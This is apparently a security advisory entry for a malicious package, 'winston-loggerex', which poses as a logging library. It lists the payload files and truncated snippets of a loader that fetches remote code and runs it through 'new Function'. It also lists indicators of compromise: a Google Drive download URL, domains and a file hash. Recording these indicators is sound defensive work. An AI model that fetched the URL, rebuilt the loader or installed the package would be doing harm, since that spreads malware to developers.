GCVE-110-OSM-2026-2806

Malicious package detected. Behaviors: code execution, network activity. Payload: dist/winston-loggerex/logger.js Secondary files: lib/winston-loggerex/logger.js Key findings: - Fetch and Eval/Exec in dist/winston-loggerex/logger.js: "await import('zx'); mod.$.verbose = false; const res = await mod.fet..." - Reconstructed Obfuscated URL in dist/winston-loggerex/logger.js: "https://docs.google.com/uc?export=download&id=1reY2QhksTVcjFh_zYjt9M6mjXcYtXpty" - Fetch and Eval/Exec in lib/winston-loggerex/logger.js: "await import('zx'); mod.$.verbose = false; const res = await mod.fetch(ur,..." - Reconstructed Obfuscated URL in lib/winston-loggerex/logger.js: "https://docs.google.com/uc?export=download&id=1reY2QhksTVcjFh_zYjt9M6mjXcYtXpty" - Dynamic Code Execution in dist/winston-loggerex/logger.js: "new Function("rqr", data)" IOCs: - urls: https://mochajs.org, https://docs.google.com/uc?export=download&id=1reY2QhksTVcjFh_zYjt9M6mjXcYtXpty - domains: mochajs.org, docs.google.com - payloadFileHash: fbcf9966da28d14ac58983da63db553fbb289eb3376bb492f4a40e0ccfd8ab51